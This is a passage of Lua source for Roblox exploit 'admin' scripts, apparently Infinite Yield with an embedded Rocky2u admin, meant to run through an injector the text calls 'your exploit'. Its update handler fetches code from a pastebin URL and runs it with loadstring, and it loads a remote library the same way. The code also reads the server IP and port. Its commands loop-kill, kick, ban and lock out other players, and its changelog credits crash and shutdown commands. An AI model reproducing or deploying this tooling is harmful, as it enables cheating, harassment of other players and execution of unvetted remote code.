PromptDialog.Position = UDim2.new(0, 0, 0, -2)
PromptDialog.Size = UDim2.new(0, 438, 0, 300)
PromptDialog.ZIndex = 5
ContainerFrame.Name = "ContainerFrame"
ContainerFrame.Parent = PromptDialog
ContainerFrame.BackgroundColor3 = maincolor
ContainerFrame.BackgroundTransparency = 0.5
ContainerFrame.BorderColor3 = Color3.new(0, 0, 0)
ContainerFrame.BorderSizePixel = 0
ContainerFrame.Position = UDim2.new(0, 0, 0, 29)
ContainerFrame.Size = UDim2.new(1, 0, 0.8, 0) -- SIZE
ContainerFrame.ZIndex = 5
LOG.Name = "LOG"
LOG.Parent = ContainerFrame
LOG.BackgroundTransparency = 1
LOG.Position = UDim2.new(0, 8, 0, 110)
LOG.Size = UDim2.new(1, -16, 1, 0)
LOG.ZIndex = 10
LOG.Font = Enum.Font.SourceSansBold
LOG.TextSize = 20
LOG.Text = "+ Added os [plr]\n+ Added whiteify/blackify [plr]\n+ Added addban [full
username]\n+ Added a rainbow mode to the UI (inside color picker)\n\n* Fixed a bug
in kidnap"
LOG.TextColor3 = Color3.new(0.97, 0.97, 0.97)
LOG.TextStrokeTransparency = 0
LOG.TextWrapped = true
LOG.TextYAlignment = Enum.TextYAlignment.Top
LOG.TextXAlignment = "Left"
PopupText3.Name = "PopupText3"
PopupText3.Parent = ContainerFrame
PopupText3.BackgroundTransparency = 1
PopupText3.Position = UDim2.new(0, 8, 0, 35)
PopupText3.Size = UDim2.new(1, -16, 0.100000001, 0)
PopupText3.ZIndex = 10
PopupText3.Font = Enum.Font.SourceSansBold
PopupText3.TextSize = 20
PopupText3.Text = "Edge - Moon"
PopupText3.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText3.TextStrokeTransparency = 0
PopupText3.TextWrapped = true
PopupText3.TextYAlignment = Enum.TextYAlignment.Top
PopupText4.Name = "PopupText4"
PopupText4.Parent = ContainerFrame
PopupText4.BackgroundTransparency = 1
PopupText4.Position = UDim2.new(0, 8, 0, 50)
PopupText4.Size = UDim2.new(1, -16, 0.100000001, 0)
PopupText4.ZIndex = 10
PopupText4.Font = Enum.Font.SourceSansBold
PopupText4.FontSize = Enum.FontSize.Size18
PopupText4.Text = "infyield.weebly.com - discord.me/infiniteyield"
PopupText4.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText4.TextStrokeTransparency = 0
PopupText4.TextWrapped = true
PopupText4.TextYAlignment = Enum.TextYAlignment.Top
UTDV.Name = "UTDV"
UTDV.Parent = ContainerFrame
UTDV.BackgroundTransparency = 1
UTDV.Position = UDim2.new(0, 8, 0, 5)
UTDV.Size = UDim2.new(1, -16, 0.100000001, 0)
UTDV.ZIndex = 10
UTDV.Font = Enum.Font.SourceSansBold
UTDV.FontSize = Enum.FontSize.Size28
UTDV.Text = "Up to date version: N/A"
UTDV.TextColor3 = Color3.new(0.97, 0.97, 0.97)
UTDV.TextStrokeTransparency = 0
UTDV.TextWrapped = true
UTDV.TextYAlignment = Enum.TextYAlignment.Top
PopupText5.Name = "PopupText5"
PopupText5.Parent = ContainerFrame
PopupText5.BackgroundTransparency = 1
PopupText5.Position = UDim2.new(0, 8, 0, 75)
PopupText5.Size = UDim2.new(1, -16, 0.100000001, 0)
PopupText5.ZIndex = 10
PopupText5.Font = Enum.Font.SourceSansBold
PopupText5.FontSize = Enum.FontSize.Size28
PopupText5.Text = "Update Log:"
PopupText5.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText5.TextStrokeTransparency = 0
PopupText5.TextWrapped = true
PopupText5.TextYAlignment = Enum.TextYAlignment.Top
shadow.Name = "shadow"
shadow.Parent = PromptDialog
shadow.BackgroundColor3 = maincolor
shadow.BackgroundTransparency = 0.30000001192093
shadow.BorderColor3 = Color3.new(0, 0, 0)
shadow.BorderSizePixel = 0
shadow.Position = UDim2.new(0, 0, 0.00999999978, 0)
shadow.Size = UDim2.new(0, 438, 0, 26)
Exitt.Name = "Exit"
Exitt.Parent = shadow
Exitt.BackgroundColor3 = Color3.new(1, 0, 0)
Exitt.BackgroundTransparency = 0.30000001192093
Exitt.BorderColor3 = Color3.new(1, 0, 0)
Exitt.BorderSizePixel = 0
Exitt.Position = UDim2.new(0, 415, 0, 3)
Exitt.Size = UDim2.new(0, 20, 0, 20)
Exitt.FontSize = Enum.FontSize.Size14
Exitt.Text = ""
PopupText.Name = "PopupText"
PopupText.Parent = shadow
PopupText.BackgroundTransparency = 1
PopupText.Position = UDim2.new(0, 61, 0, -2)
PopupText.Size = UDim2.new(0.760273993, -16, 1.15384614, 0)
PopupText.ZIndex = 110
PopupText.Font = Enum.Font.SourceSansBold
PopupText.TextSize = 30
PopupText.Text = "Information"
PopupText.TextColor3 = Color3.new(0.97, 0.97, 0.97)
PopupText.TextStrokeTransparency = 0
PopupText.TextWrapped = true
PopupText.TextYAlignment = Enum.TextYAlignment.Top
vers.Name = "vers"
vers.Parent = shadow
vers.BackgroundTransparency = 1
vers.Position = UDim2.new(0, 8, 0, 2)
vers.Size = UDim2.new(0.200913236, -16, 1.11538458, 0)
vers.ZIndex = 110
vers.Font = Enum.Font.SourceSansBold
vers.TextSize = 20
vers.Text = "v" .. Version
vers.TextColor3 = Color3.new(0.97, 0.97, 0.97)
vers.TextStrokeTransparency = 0
vers.TextWrapped = true
vers.TextXAlignment = Enum.TextXAlignment.Left
vers.TextYAlignment = Enum.TextYAlignment.Top
if UTD == true then UTDV.Text = "Up to date version: Yes" else UTDV.Text = "Up to
date version: No" end end
dragg:TweenPosition(UDim2.new(0.5, -225, 0, 100), "InOut", "Quart", 0.5, true, nil)
Exitt.MouseButton1Click:connect(function()
dragg:TweenPosition(UDim2.new(0.5, -225, 0, -600), "InOut", "Quart", 0.5, true,
nil) wait(0.5) infopen = false Updates:Destroy() end) end)
quickmenu.sheild.updates.MouseButton1Click:connect(function() serverinfogui() end)
end

local Asset = game:GetService("MarketplaceService"):GetProductInfo(01203480675)


wait(0.3)
if not game.CoreGui:FindFirstChild('IYrun') then
running = Instance.new("BoolValue") running.Parent = game.CoreGui running.Name =
'IYrun'
if Asset.Name == "Infinite Yield " .. Version then UTD = true wait(0.5) run() else
UTD = false local Updates = Instance.new("ScreenGui") local PromptDialog =
Instance.new("Frame") local shadow = Instance.new("Frame") local Exit =
Instance.new("TextButton")
local title = Instance.new("TextLabel") local ContainerFrame =
Instance.new("Frame") local a = Instance.new("TextLabel") local a2 =
Instance.new("TextLabel")
local a3 = Instance.new("TextLabel") local a2_2 = Instance.new("TextLabel") local
UPDATE = Instance.new("TextButton") local Line = Instance.new("Frame")
Updates.Name = "Updates" Updates.Parent = game.CoreGui PromptDialog.Name =
"PromptDialog" PromptDialog.Parent = Updates PromptDialog.Active = true
PromptDialog.BackgroundColor3 = Color3.new(0, 0, 0)
PromptDialog.BackgroundTransparency = 1 PromptDialog.BorderSizePixel = 0
PromptDialog.Position = UDim2.new(0.5, -219, 0, 100) PromptDialog.Size =
UDim2.new(0, 438, 0, 300) PromptDialog.ZIndex = 8 shadow.Name = "shadow"
shadow.Parent = PromptDialog shadow.BackgroundColor3 = Color3.new(0.639216,
0.631373, 0.647059) shadow.Size = UDim2.new(1, 0, 0.129999995, 0) shadow.ZIndex =
100
shadow.Style = Enum.FrameStyle.DropShadow Exit.Name = "Exit" Exit.Parent = shadow
Exit.BackgroundColor3 = Color3.new(1, 0, 0) Exit.BackgroundTransparency =
0.30000001192093
Exit.BorderColor3 = Color3.new(1, 0, 0) Exit.Position = UDim2.new(0, 401, 0, 1)
Exit.Size = UDim2.new(0, 20, 0, 20) Exit.ZIndex = 110 Exit.FontSize =
Enum.FontSize.Size14
Exit.Text = "" title.Name = "title" title.Parent = shadow
title.BackgroundTransparency = 1 title.Position = UDim2.new(0, 8, 0, -4)
title.Size = UDim2.new(1, -16, 0.800000012, 0) title.ZIndex = 110 title.Font =
Enum.Font.SourceSansBold title.TextSize = 30
title.Text = Asset.Name .. " is available" title.TextColor3 = Color3.new(0.97,
0.97, 0.97) title.TextStrokeTransparency = 0 title.TextWrapped = true
title.TextYAlignment = Enum.TextYAlignment.Top
ContainerFrame.Name = "ContainerFrame" ContainerFrame.Parent = PromptDialog
ContainerFrame.BackgroundColor3 = Color3.new(0.639216, 0.631373, 0.647059)
ContainerFrame.Position = UDim2.new(0, 0, 0, 31)
ContainerFrame.Size = UDim2.new(1, 0, 0.75, 0) ContainerFrame.ZIndex = 8
ContainerFrame.Style = Enum.FrameStyle.DropShadow a.Name = "a" a.Parent =
ContainerFrame
a.BackgroundTransparency = 1 a.Position = UDim2.new(0, 8, 0, 50) a.Size =
UDim2.new(1, -16, 0.100000001, 0) a.ZIndex = 10 a.Font = Enum.Font.SourceSansBold
a.FontSize = Enum.FontSize.Size18 a.Text = "infyield.weebly.com -
discord.me/infiniteyield" a.TextColor3 = Color3.new(0.97, 0.97, 0.97)
a.TextStrokeTransparency = 0
a.TextWrapped = true a.TextYAlignment = Enum.TextYAlignment.Top a2.Name = "a2"
a2.Parent = ContainerFrame a2.BackgroundTransparency = 1 a2.Position = UDim2.new(0,
8, 0, 5)
a2.Size = UDim2.new(1, -16, 0.300000012, 0) a2.ZIndex = 10 a2.Font =
Enum.Font.SourceSansBold a2.TextSize = 20 a2.Text = "The version of Infinite Yield
you are using is outdated."
a2.TextColor3 = Color3.new(0.97, 0.97, 0.97) a2.TextStrokeTransparency = 0
a2.TextWrapped = true a2.TextYAlignment = Enum.TextYAlignment.Top a3.Name = "a3"
a3.Parent = ContainerFrame
a3.BackgroundTransparency = 1 a3.Position = UDim2.new(0, 8, 0, 25) a3.Size =
UDim2.new(1, -16, 0.300000012, 0) a3.ZIndex = 10 a3.Font = Enum.Font.SourceSansBold
a3.TextSize = 20 a3.Text = "You can get a new version at one of these 2 sources."
a3.TextColor3 = Color3.new(0.97, 0.97, 0.97) a3.TextStrokeTransparency = 0
a3.TextWrapped = true a3.TextYAlignment = Enum.TextYAlignment.Top a2_2.Name = "a2"
a2_2.Parent = ContainerFrame a2_2.BackgroundTransparency = 1 a2_2.Position =
UDim2.new(0, 8, 0, 92)
a2_2.Size = UDim2.new(1, -16, 0.300000012, 0) a2_2.ZIndex = 10 a2_2.Font =
Enum.Font.SourceSansBold a2_2.FontSize = Enum.FontSize.Size24 a2_2.Text = "If your
exploit supports httpget, you can update now by clicking 'Update'"
a2_2.TextColor3 = Color3.new(0.97, 0.97, 0.97) a2_2.TextStrokeTransparency = 0
a2_2.TextWrapped = true a2_2.TextYAlignment = Enum.TextYAlignment.Top UPDATE.Name =
"UPDATE"
UPDATE.Parent = ContainerFrame UPDATE.BackgroundColor3 = Color3.new(0, 0, 0)
UPDATE.BackgroundTransparency = 0.80000001192093 UPDATE.BorderColor3 =
Color3.new(1, 1, 1)
UPDATE.Position = UDim2.new(0, 148, 0, 153) UPDATE.Size = UDim2.new(0, 126, 0, 40)
UPDATE.ZIndex = 9 UPDATE.Font = Enum.Font.SourceSans
UPDATE.FontSize = Enum.FontSize.Size18 UPDATE.Text = "Update" UPDATE.TextColor3 =
Color3.new(1, 1, 1) Line.Name = "Line" Line.Parent = PromptDialog
Line.BackgroundColor3 = Color3.new(0, 0, 0) Line.BackgroundTransparency = 0.5
Line.BorderColor3 = Color3.new(0, 0, 0) Line.Position = UDim2.new(0, 16, 0, 121)
Line.Size = UDim2.new(0.926999986, 0, 0, 1) Line.ZIndex = 8 function Click(mouse)
PromptDialog:TweenPosition(UDim2.new(0.5, -219, 0, 150), "InOut", "Quart", 0.4,
true, nil) wait(0.4)
PromptDialog:TweenPosition(UDim2.new(0.5, -219, 0, -400), "InOut", "Quart", 0.5,
true, nil) wait(0.5)
Updates:Destroy() run() end Exit.MouseButton1Down:connect(Click) function
Click(mouse)
PromptDialog:TweenPosition(UDim2.new(0.5, -219, 0, 150), "InOut", "Quart", 0.4,
true, nil) wait(0.4)
PromptDialog:TweenPosition(UDim2.new(0.5, -219, 0, -400), "InOut", "Quart", 0.5,
true, nil)
for _, child in pairs(game.CoreGui:GetChildren()) do
if child.Name == "IYrun" then child:Destroy() end end wait(0.5)
Updates:Destroy()
loadstring(game:HttpGet(('https://pastebin.com/raw/MjBzRjmT'),true))() end
UPDATE.MouseButton1Down:connect(Click) end
else print('Infinite Yield is already running.') end
end)
Buty_3.Name = "Buty"
Buty_3.Parent = Admin
Buty_3.BackgroundColor3 = Color3.new(0.666667, 0, 0)
Buty_3.Position = UDim2.new(0, 0, 0.22807017, 0)
Buty_3.Size = UDim2.new(0, 352, 0, 32)

Options.Name = "Options"
Options.Parent = Admin
Options.BackgroundColor3 = Color3.new(1, 1, 1)
Options.BackgroundTransparency = 1
Options.Position = UDim2.new(-0.0198863633, 0, 0.22807017, 0)
Options.Size = UDim2.new(0, 352, 0, 32)
Options.Font = Enum.Font.Cartoon
Options.Text = "Options-"
Options.TextColor3 = Color3.new(0, 0, 0)
Options.TextScaled = true
Options.TextSize = 14
Options.TextWrapped = true

Rocky2U.Name = "Rocky2U"
Rocky2U.Parent = Admin
Rocky2U.BackgroundColor3 = Color3.new(0.666667, 0, 0)
Rocky2U.Position = UDim2.new(0.536931813, 0, 0.362573057, 0)
Rocky2U.Size = UDim2.new(0, 147, 0, 39)
Rocky2U.Font = Enum.Font.Cartoon
Rocky2U.Text = "Rocky2U"
Rocky2U.TextColor3 = Color3.new(0, 0, 0)
Rocky2U.TextScaled = true
Rocky2U.TextSize = 14
Rocky2U.TextWrapped = true
Rocky2U.MouseButton1Down:connect(function()
--Rocky2u admin - fixed by Autumn (thanks <3), updated for Raindrop by 3dsboy08

--[[
____ _ ____ _ ____ __ __ ____
| _ \ ___ ___| | ___ _|___ \ _ _( )___ / ___| \/ | _ \ ___
| |_) / _ \ / __| |/ / | | | __) | | | |// __| | | | |\/| | | | / __|
| _ < (_) | (__| <| |_| |/ __/| |_| | \__ \ | |___| | | | |_| \__ \
|_| \_\___/ \___|_|\_\\__, |_____|\__,_| |___/ \____|_| |_|____/|___/
|___/
--]]

local ADMINS = {}
local BANS = {}

function _G.ADD_ADMIN(ID) table.insert(ADMINS, ID) end


function _G.ADD_BAN(ID) table.insert(BANS, ID) end

local VERSION = '1.8.0'


local UPDATED = '3/15/2017'
local CHANGELOG = {
' * updated ;nolimbs',
' * updated ;rhats',
' - removed ;sword (LoadAsset)',
' * updated ;punish and ;unpunish',
' * updated ;loopheal',
' + added ;loopkill & ;unloopkill'
}
local CREDITS = [[
Rocky2u - lol
veinyrox - ;crash and ;shutdown
Harkinian - half of the message function
Moon - cmd bar addon idea
]]

local _CORE = game:GetService('CoreGui')


local _LIGHTING = game:GetService('Lighting')
local _NETWORK = game:GetService('NetworkClient')
local _PLAYERS = game:GetService('Players')

local LP = _PLAYERS.LocalPlayer
local MOUSE = LP:GetMouse()

local SERVER_LOCKED = false


local SHOWING_MESSAGE = false

local SERVICES = {}
SERVICES.EVENTS = {}

local COMMANDS = {}
local STD = {}
local JAILED = {}
local KICKS = {}
local LOOPED_H = {}
local LOOPED_K = {}

local C_PREFIX = ';'


local SPLIT = ' '

local IP = ''
local PORT = ''

if _NETWORK:FindFirstChild('ClientReplicator') then
IP = _NETWORK.ClientReplicator.MachineAddress
PORT = _NETWORK.ClientReplicator.Port
end

local NEW = loadstring(Raindrop:DownloadString("https://raw.githubusercontent.com/


RobloxLabs/internal-code/master/library-scripts/RbxUtility-60595411.lua"))().Create

function UPDATE_CHAT(PLAYER) local C = PLAYER.Chatted:connect(function(M) if


CHECK_ADMIN(PLAYER) then DEXECUTE(M, PLAYER) end end) table.insert(SERVICES.EVENTS,
C) end
function STD.TABLE(T, V) if not T then return false end for i,v in pairs(T) do if v
== V then return true end end return false end
function STD.ENDAT(S, V) local SF = S:find(V) if SF then return S:sub(0, SF -
string.len(V)), true else return S, false end end
function CHECK_ADMIN(PLAYER) if FIND_IN_TABLE(ADMINS, PLAYER.userId) then return
true elseif PLAYER.userId == LP.userId then return true end end
function FCOMMAND(COMMAND) for i,v in pairs(COMMANDS) do if v.N:lower() ==
COMMAND:lower() or STD.TABLE(v.A, COMMAND:lower()) then return v end end end
function GCOMMAND(M) local CMD, HS = STD.ENDAT(M:lower(), SPLIT) if HS then return
{CMD, true} else return {CMD, false} end end
function GPREFIX(STRING) if STRING:sub(1, string.len(C_PREFIX)) == C_PREFIX then
return {'COMMAND', string.len(C_PREFIX) + 1} end return end
function GARGS(STRING) local A = {} local NA = nil local HS = nil local S = STRING
repeat NA, HS = STD.ENDAT(S:lower(), SPLIT) if NA ~= '' then table.insert(A, NA) S
= S:sub(string.len(NA) + string.len(SPLIT) + 1) end until not HS return A end
function GCAPARGS(STRING) local A = {} local NA = nil local HS = nil local S =
STRING repeat NA, HS = STD.ENDAT(S, SPLIT) if NA ~= '' then table.insert(A, NA) S =
S:sub(string.len(NA) + string.len(SPLIT) + 1) end until not HS return A end
function ECOMMAND(STRING, SPEAKER) repeat if STRING:find(' ') then STRING =
STRING:gsub(' ', ' ') end until not STRING:find(' ') local SCMD, A, CMD SCMD =
GCOMMAND(STRING) CMD = FCOMMAND(SCMD[1]) if not CMD then return end A =
STRING:sub(string.len(SCMD[1]) + string.len(SPLIT) + 1) local ARGS = GARGS(A) CA =
GCAPARGS(A) pcall(function() CMD.F(ARGS, SPEAKER) end) end
function DEXECUTE(STRING, SPEAKER) if not CHECK_ADMIN(SPEAKER) then return end
STRING = STRING:gsub('/e ', '') local GP = GPREFIX(STRING) if not GP then return
end STRING = STRING:sub(GP[2]) if GP[1] == 'COMMAND' then ECOMMAND(STRING, SPEAKER)
end end

function GLS(LOWER, START) local AA = '' for i,v in pairs(CA) do if i > START then
if AA ~= '' then AA = AA .. ' ' .. v else AA = AA .. v end end end if not LOWER
then return AA else return string.lower(AA) end end
function C3(R, G, B) return Color3.new(R/255, G/255, B/255) end
function GET_MASS(A, B) B = 0 for i,v in pairs(A:GetChildren()) do if
v:IsA('BasePart') then B = B + v:GetMass() end GET_MASS(v) end return B end

local STUFF = '[ Rocky2u\'s CMDs ] : '


local NOCLIP, JESUSFLY, SWIM = false, false, false

_PLAYERS.PlayerAdded:connect(function(PLAYER)
if SERVER_LOCKED then PLAYER.CharacterAdded:connect(function()
table.insert(KICKS, PLAYER) return end) end
if FIND_IN_TABLE(BANS, PLAYER.userId) then
PLAYER.CharacterAdded:connect(function() table.insert(KICKS, PLAYER) return end)
end
UPDATE_CHAT(PLAYER)
if CHECK_ADMIN(PLAYER) then PLAYER.CharacterAdded:connect(function()
game.Chat:Chat(PLAYER.Character.Head, STUFF .. 'Welcome, you\'re an admin!') end)
end
end)

game:GetService('RunService').Stepped:connect(function()
for i,v in pairs(_PLAYERS:GetPlayers()) do
if FIND_IN_TABLE(KICKS, v) then KICK(v) end
if FIND_IN_TABLE(LOOPED_H, v.Name) then
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
end
if FIND_IN_TABLE(LOOPED_K, v.Name) then
v.Character:BreakJoints()
end
end
if NOCLIP then
if LP.Character:FindFirstChild('Humanoid') then
LP.Character.Humanoid:ChangeState(11) end
elseif JESUSFLY then
if LP.Character:FindFirstChild('Humanoid') then
LP.Character.Humanoid:ChangeState(12) end
elseif SWIM then
if LP.Character:FindFirstChild('Humanoid') then
LP.Character.Humanoid:ChangeState(4) end
end
end)

function ADD_COMMAND(N, D, A, F) table.insert(COMMANDS, {N = N, D = D, A = A, F =


F}) end

function GET_PLAYER(NAME, SPEAKER)


local NAME_TABLE = {}
NAME = NAME:lower()
if NAME == 'me' then
table.insert(NAME_TABLE, SPEAKER.Name)
elseif NAME == 'others' then
for i,v in pairs(_PLAYERS:GetPlayers()) do if v.Name ~= SPEAKER.Name
then table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'all' then
for i,v in pairs(_PLAYERS:GetPlayers()) do table.insert(NAME_TABLE,
v.Name) end
elseif NAME == 'random' then
table.insert(NAME_TABLE, _PLAYERS:GetPlayers()[math.random(1,
#_PLAYERS:GetPlayers())].Name)
elseif NAME == 'team' then
for i,v in pairs(_PLAYERS:GetPlayers()) do if v.TeamColor ==
SPEAKER.TeamColor then table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'nonadmins' then
for i,v in pairs(_PLAYERS:GetPlayers()) do if not CHECK_ADMIN(v) then
table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'admins' then
for i,v in pairs(_PLAYERS:GetPlayers()) do if CHECK_ADMIN(v) then
table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'nonfriends' then
for i,v in pairs(_PLAYERS:GetPlayers()) do if not
v:IsFriendsWith(SPEAKER.userId) then table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'friends' then
for i,v in pairs(_PLAYERS:GetPlayers()) do if v ~= SPEAKER and
v:IsFriendsWith(SPEAKER.userId) then table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'nonguests' then
for i,v in pairs(_PLAYERS:GetPlayers()) do if not v.Guest then
table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'guests' then
for i,v in pairs(_PLAYERS:GetPlayers()) do if v.Guest then
table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'nbcs' then
for i,v in pairs(_PLAYERS:GetPlayers()) do if v.MembershipType ==
Enum.MembershipType.None then table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'bcs' then
for i,v in pairs(_PLAYERS:GetPlayers()) do if v.MembershipType ==
Enum.MembershipType.BuildersClub then table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'tbcs' then
for i,v in pairs(_PLAYERS:GetPlayers()) do if v.MembershipType ==
Enum.MembershipType.TurboBuildersClub then table.insert(NAME_TABLE, v.Name) end end
elseif NAME == 'obcs' then
for i,v in pairs(_PLAYERS:GetPlayers()) do if v.MembershipType ==
Enum.MembershipType.OutrageousBuildersClub then table.insert(NAME_TABLE, v.Name)
end end
else
for i,v in pairs(_PLAYERS:GetPlayers()) do local L_NAME =
v.Name:lower() local F = L_NAME:find(NAME) if F == 1 then table.insert(NAME_TABLE,
v.Name) end end
end
return NAME_TABLE
end

local SI = 'rbxasset://textures/blackBkg_square.png'
function LOAD_DATA()
local DATA = Instance.new('Folder')

GUIS = Instance.new('Folder', DATA)


HUMANOIDS = Instance.new('Folder', DATA)
OTHER = Instance.new('Folder', DATA)

MAIN_GUI = Instance.new('ScreenGui', GUIS)


MAIN_GUI.Name = 'seth_main'
NEW'TextLabel'{Name = 'main', Active = true, BackgroundColor3 = C3(0, 0, 0),
BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0.5, -200,
0.4, 0), Size = UDim2.new(0, 400, 0, 25), Draggable = true, Font =
'SourceSansBold', Text = ' Control Center', TextColor3 = C3(255, 255, 255),
TextSize = 20, TextXAlignment = 'Left', Parent = MAIN_GUI}
NEW'Frame'{Name = 'holder', BackgroundColor3 = C3(255, 255, 255),
BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 0, 1,
0), Size = UDim2.new(1, 25, 12, 0), Parent = MAIN_GUI.main}
local BUTTONS = Instance.new('Folder', MAIN_GUI.main.holder)
BUTTONS.Name = 'buttons'
NEW'TextButton'{Name = 'server', BackgroundColor3 = C3(0,
0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0,
5, 0, 5), Size = UDim2.new(0, 100, 0, 30), ClipsDescendants = true, Font =
'SourceSansBold', Text = 'server info', TextColor3 = C3(255, 255, 255), TextSize =
20, Parent = BUTTONS}
NEW'TextButton'{Name = 'admins', BackgroundColor3 = C3(0,
0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0,
110, 0, 5), Size = UDim2.new(0, 100, 0, 30), ClipsDescendants = true, Font =
'SourceSansBold', Text = 'admins', TextColor3 = C3(255, 255, 255), TextSize = 20,
Parent = BUTTONS}
NEW'TextButton'{Name = 'bans', BackgroundColor3 = C3(0, 0,
0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0,
215, 0, 5), Size = UDim2.new(0, 100, 0, 30), ClipsDescendants = true, Font =
'SourceSansBold', Text = 'bans', TextColor3 = C3(255, 255, 255), TextSize = 20,
Parent = BUTTONS}
NEW'TextButton'{Name = 'cmds', BackgroundColor3 = C3(0, 0,
0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0,
320, 0, 5), Size = UDim2.new(0, 100, 0, 30), ClipsDescendants = true, Font =
'SourceSansBold', Text = 'commands', TextColor3 = C3(255, 255, 255), TextSize = 20,
Parent = BUTTONS}
NEW'TextButton'{Name = 'fun', BackgroundColor3 = C3(0, 0,
0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 50,
0, 40), Size = UDim2.new(0, 105, 0, 30), ClipsDescendants = true, Font =
'SourceSansBold', Text = 'fun', TextColor3 = C3(255, 255, 255), TextSize = 20,
Parent = BUTTONS}
NEW'TextButton'{Name = 'changelog', BackgroundColor3 =
C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position =
UDim2.new(0, 160, 0, 40), Size = UDim2.new(0, 105, 0, 30), ClipsDescendants = true,
Font = 'SourceSansBold', Text = 'changelog', TextColor3 = C3(255, 255, 255),
TextSize = 20, Parent = BUTTONS}
NEW'TextButton'{Name = 'credits', BackgroundColor3 = C3(0,
0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0,
270, 0, 40), Size = UDim2.new(0, 105, 0, 30), ClipsDescendants = true, Font =
'SourceSansBold', Text = 'credits', TextColor3 = C3(255, 255, 255), TextSize = 20,
Parent = BUTTONS}

local HOLDERS = Instance.new('Folder', MAIN_GUI.main.holder)


HOLDERS.Name = 'holders'
NEW'Frame'{Name = 'server', BackgroundColor3 = C3(0, 0, 0),
BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0,
85), Size = UDim2.new(1, -10, 0, 210), Parent = HOLDERS}
NEW'TextLabel'{Name = 'fe', BackgroundColor3 =
C3(255, 255, 255), BackgroundTransparency = 1, Size = UDim2.new(1, 0, 0, 30), Font
= 'SourceSansBold', Text = ' FilteringEnabled | ', TextColor3 = C3(0, 0, 0),
TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent =
HOLDERS.server}
NEW'TextLabel'{Name = 'ip', BackgroundColor3 =
C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 30),
Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = ' IP Address | ',
TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment =
'Left', Parent = HOLDERS.server}
NEW'TextLabel'{Name = 'port', BackgroundColor3 =
C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 60),
Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = ' Port | ',
TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment =
'Left', Parent = HOLDERS.server}
NEW'TextLabel'{Name = 'place_id', BackgroundColor3 =
C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 90),
Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = ' Place ID | ',
TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment =
'Left', Parent = HOLDERS.server}
NEW'TextLabel'{Name = 'players', BackgroundColor3 =
C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 120),
Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = ' Players | ',
TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment =
'Left', Parent = HOLDERS.server}
NEW'TextLabel'{Name = 'time', BackgroundColor3 =
C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 150),
Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = ' Time | ',
TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment =
'Left', Parent = HOLDERS.server}
NEW'TextLabel'{Name = 'gravity', BackgroundColor3 =
C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 180),
Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = ' Gravity | ',
TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment =
'Left', Parent = HOLDERS.server}
NEW'ScrollingFrame'{Name = 'admins', BackgroundColor3 =
C3(0, 0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position =
UDim2.new(0, 5, 0, 85), Size = UDim2.new(1, -10, 0, 210), Visible = false,
CanvasSize = UDim2.new(0, 0, 0, 0), ScrollBarThickness = 5, TopImage = SI, MidImage
= SI, BottomImage = SI, Parent = HOLDERS}
NEW'ScrollingFrame'{Name = 'bans', BackgroundColor3 = C3(0,
0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0,
5, 0, 85), Size = UDim2.new(1, -10, 0, 210), Visible = false, CanvasSize =
UDim2.new(0, 0, 0, 0), ScrollBarThickness = 5, TopImage = SI, MidImage = SI,
BottomImage = SI, Parent = HOLDERS}
NEW'ScrollingFrame'{Name = 'cmds', BackgroundColor3 = C3(0,
0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0,
5, 0, 115), Size = UDim2.new(1, -10, 0, 210), Visible = false, CanvasSize =
UDim2.new(0, 0, 0, 0), ScrollBarThickness = 5, TopImage = SI, MidImage = SI,
